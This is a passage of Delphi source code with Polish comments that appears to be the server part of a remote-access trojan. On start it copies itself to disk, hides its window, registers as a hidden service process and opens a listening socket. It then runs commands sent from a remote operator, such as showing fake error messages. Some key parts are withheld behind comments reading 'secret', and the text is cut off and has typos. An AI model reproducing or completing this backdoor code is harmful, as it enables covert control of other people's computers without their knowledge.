... begin
Serwer.Socket.Connections[Serwer.Socket.ActiveConnections - 1].SendText(RDoWys.Text);
// 3
RDoWys.Text := '';
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Serwer.Port := StrToInt(EditPort.Text);
Serwer.Active:=True;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ver:='1.0 BETA';
{opyFile(Pchar(Application.ExeName),Pchar('c:plik.exe'),True); // skopiowanie pliku na dysk c:
LoadFromExe('c:plik.exe');
EditPort.text:=Split(XXX,0);
Edit2.text:=Split(XXX,1);
aresat.text:=Split(XXX,2);
adresat.text:=Split(XXX,4);
if Split(XXX,3)='1' then form5.showen.click;
DeleteFile('c:plik.exe');
HideMe;
RegisterServiceProcess(GetCurrentProcessID, RSPSIMPLESERVICE);
//TEGO NIE PODAM - TAJNE!
//TEGO NIE PODAM - TAJNE!
szybko.click;
ok:=false;
Hide;
ies.click;
ggsend.Click;
//TEGO NIE PODAM - TAJNE!
//TEGO NIE PODAM - TAJNE! - SUPER TAJNA RZECZ
CreateFileMapping(THANDLE($FFFFFFFF),nil,
PAGE_READONLY,0,32,'ApplicationTestMap');
ies.click;
cmd.Activ:=true;
if GetLastError=ERROR_ALREADY_EXISTS then
begin
Application.Terminate;
end;
end;
procedure TForm1.ROdebraneChange(Sender: TObject);
var
Obszar:TRect;
buffer:string;
buffSize:DWORD;
p:PHostEnt;
s:array[0..128] of char;
p2:pchar;
Plik : Integer;
SR : TSearchRec;
begin
//TEGO NIE PODAM - TAJNE!
//TEGO NIE PODAM - TAJNE!
begin
RDOWys.Text:='Serwer: Połączenie zostało odrzucone! Złe hasło!';
BtnPrzeslij.Click;
cmdactive:=false;
end;
end;
if cmdactive=true then begin
if Copy(ROdebrane.Text,0,4)=('msgn') then begin
ShowMessage(Copy(ROdebrane.Text,5,ROdebrane.GetTextLen));
RDOWys.Text:='Serwer: Wykonano polecenie: POKAŻ KOMUNIKAT ('+ROdebrane.Text+')...';
BtnPrzeslij.Click;
end;
if Copy(ROdebrane.Text,0,4)=('msg1') then begin
ShowMessage('Error 404, plik podany w scieżce nie istnieje!');
RDOWys.Text:='Serwer: Wykonano polecenie: POKAŻ KOMUNIKAT(szablon 1) ('+ROdebrane.Text+')...';
BtnPrzeslij.Click;
end;...